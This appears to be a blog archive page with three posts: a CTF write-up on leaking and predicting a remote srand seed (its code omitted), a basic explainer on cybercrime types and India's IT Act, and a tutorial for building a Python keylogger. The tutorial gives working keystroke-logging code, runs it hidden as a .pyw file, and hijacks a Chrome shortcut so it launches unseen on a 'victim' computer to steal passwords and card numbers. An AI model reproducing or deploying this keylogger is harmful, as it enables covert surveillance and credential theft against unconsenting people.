KILIMO FORUM: August 2020

Monday, August 31, 2020

ASIS CTF Quals 2015 - Sawthis Writeup - Srand Remote Prediction

The remote service ask for a name, if you send more than 64 bytes, a memory leak happens.
The buffer next to the name's is the first random value used to init the srand()

If we get this value, and set our local srand([leaked] ^ [luckyNumber]) we will be able to predict the following randoms and win the game, but we have to see few details more ;)

The function used to read the input until the byte \n appears, but also up to 64 bytes, if we trigger this second condition there is not 0x00 and the print shows the random buffer :)

The nickname buffer:

The seed buffer:

So here it is clear, but let's see that the random values are computed with several gpu instructions which are decompiled incorrectly:

We tried to predict the random and aply the gpu divisions without luck :(

There was a missing detail in this predcitor, but there are always other creative ways to do the things.
We use the local software as a predictor, we inject the leaked seed on the local binary of the remote server and got a perfect syncronization, predicting the remote random values:

The process is a bit ugly becouse we combined automated process of leak exctraction and socket interactive mode, with the manual gdb macro.

The macro:

Sunday, August 30, 2020

What Is Cybercrime? What Are The Types Of Cybercrime? What Is Cyberlaw In India?

What is cyber crime?

Cybercrime is the use of computers & networks to perform illegal activities such as spreading viruses,online bullying,performing unauthorized electronic fund transfers etc. Most cyber crimes are committed through the internet.
Some cyber crime also be carried out using mobile phones via Sms and online chatting applications.

TYPES OF CYBERCRIME

The following list presents the common types of cybercrimes-

1-Computer Fraud-Intential deception for personal gain via the use of computer system.

2-Privacy Violations-Exposing personal information such as email addresses,phone numbers,account details etc, on social media,websites,etc.

3-Identity theft-Stealing personal information from somebody and impersonating that person.

4-Sharing copyright files/information-This involves distributing copyright protected files such as eBooks and computer program etc.

5-Electronic funds transfer-This involves gaining an unauthorized access to bank computer networks and making illegal funds transferring.

6-Electronic money laundering-This involves the use of the computer to launder money.

7-Atm fraud-This involves intercepting ATM card details such as account numbers and PIN numbers.These details are then used to withdraw funds from the intercepted accounts.

8-Denial of service attack-This involves the use of computers in multiple locations to attack servers with a view of shutting them down.

9-Spam:sending unauthorized emails.

These emails usually contain advertisements.

CYBER LAW

Under The Information Technology Act,2000

CHAPTER XI-OFFENCES-66. Hacking with computer system.

1-whoever with the Intent to cause or knowing that he is likely to cause Wrongfull Loss or Damage to the public or any person Destroys or Deletes or Alter any Information Residing in computer Resource or diminishes its value or utility or affects it injuriously by any means, commits hack.

2-whoever commits hacking shell be punished with imprisonment up to three years, or with fine which may extend up to two lakh rupees,or with both.

More information

How To Make A Simple And Powerful Keylogger Using Python

A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.

Requirements to create a python keylogger

Computer With Operating system: Windows, Mac os or Linux
Python must be installed on the system
Pip (Python index package ) you will need this to install python software packages.
Pypiwin32 and PyHook packages
Basic understanding of computers

You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.

Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:

Download python development kit by clicking here.

Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.

Step 2:

Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.

Step 3:

You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.

To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.

Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.

Now click on the Advanced system settings

Choose Environment Variables.

Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts

Click on ok.

Part 2: Installing Pypiwin32 and PyHook python Packages using pip:

Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.

Part 3: Creating and testing the python keylogger:

Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.

Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.

import pyHook, pythoncom, sys, logging
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.

The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.

Let's make the python keylogger auto-launchable by attaching it the Google Chrome.

Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat

Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.

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